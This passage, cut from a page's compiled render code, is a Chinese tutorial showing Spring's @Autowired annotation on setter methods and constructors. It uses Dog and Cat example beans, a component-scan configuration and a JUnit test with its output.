punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("ANNOTATION_TYPE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("可以看出@Autowired注解不仅可以标注在字段上。也可以标注在构造方法上,实例方法上,参数上。")]),s._v(" "),t("h2",{attrs:{id:"项目案例"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#项目案例"}},[s._v("#")]),s._v(" 项目案例")]),s._v(" "),t("h3",{attrs:{id:"案例准备"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例准备"}},[s._v("#")]),s._v(" 案例准备")]),s._v(" "),t("p",[s._v("接下来,我们在项目中新建一个Dog类,在Doc类中有一个Cat类的引用,并且我们使用@Component注解将Dog类加载到IOC容器中,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("stereotype"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Component")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试实体类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Dog{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br")])]),t("p",[s._v("配置好之后,我们还需要在AutowiredConfig类的@ComponentScan注解中进行配置,使其能够扫描"),t("code",[s._v("io.mykit.spring.plugins.register.controller")]),s._v("包下的类,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Configuration")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@ComponentScan")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.dao"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.service"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.controller"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.mykit.spring.plugins.register.bean"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br")])]),t("p",[s._v("此时,我们可以直接在Dog类中的cat字段上添加@Autowired注解,使其自动装配。这是我们在《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[s._v("【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),t("OutboundLink")],1),s._v("》一文中得出的结论。那今天我们就使用其他的方式来实现cat的自动装配。")]),s._v(" "),t("h3",{attrs:{id:"标注在实例方法上"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在实例方法上"}},[s._v("#")]),s._v(" 标注在实例方法上")]),s._v(" "),t("p",[s._v("我们也可以将@Autowired注解标注在setter方法上,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[t("strong",[s._v("当@Autowired注解标注在方法上时,Spring容器在创建对象的时候,就会调用相应的方法为对象赋值。如果标注的方法存在参数时,则方法使用的参数和自定义类型的值,需要从IOC容器中获取。")])]),s._v(" "),t("p",[s._v("接下来,我们将AutowiredTest类的testAutowired01()方法中有关获取和打印PersonService信息的代码注释,新增获取和打印Dog信息的代码,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Test")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("testAutowired01")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建IOC容器")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//PersonService personService = context.getBean(PersonService.class);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//System.out.println(personService);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" dog "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("p",[s._v("运行AutowiredTest类的testAutowired01()方法进行测试,可以看到,结果信息中输出了如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明已经获取到cat的信息,可以将@Autowired注解标注在方法上")]),s._v(" "),t("p",[s._v("为了验证最终的输出结果是否是从IOC容器中获取的,我们可以在AutowiredTest类的testAutowired01()方法中直接获取Cat的信息,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Test")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("testAutowired01")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建IOC容器")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//PersonService personService = context.getBean(PersonService.class);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//System.out.println(personService);")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" dog "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br")])]),t("p",[s._v("我们再次运行AutowiredTest类的testAutowired01()方法进行测试,可以在输出的结果信息看到如下两行代码。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br")])]),t("p",[s._v("可以看出在Dog类中通过@Autowired注解获取到的Cat对象和直接从IOC容器中获取到Cat对象是同一个对象。")]),s._v(" "),t("h3",{attrs:{id:"标注在构造方法上"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在构造方法上"}},[s._v("#")]),s._v(" 标注在构造方法上")]),s._v(" "),t("p",[s._v("在前面的案例中,我们在Dog类上使用了@Component注解,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("beans"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("factory"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Autowired")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("stereotype"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Component")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试实体类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token 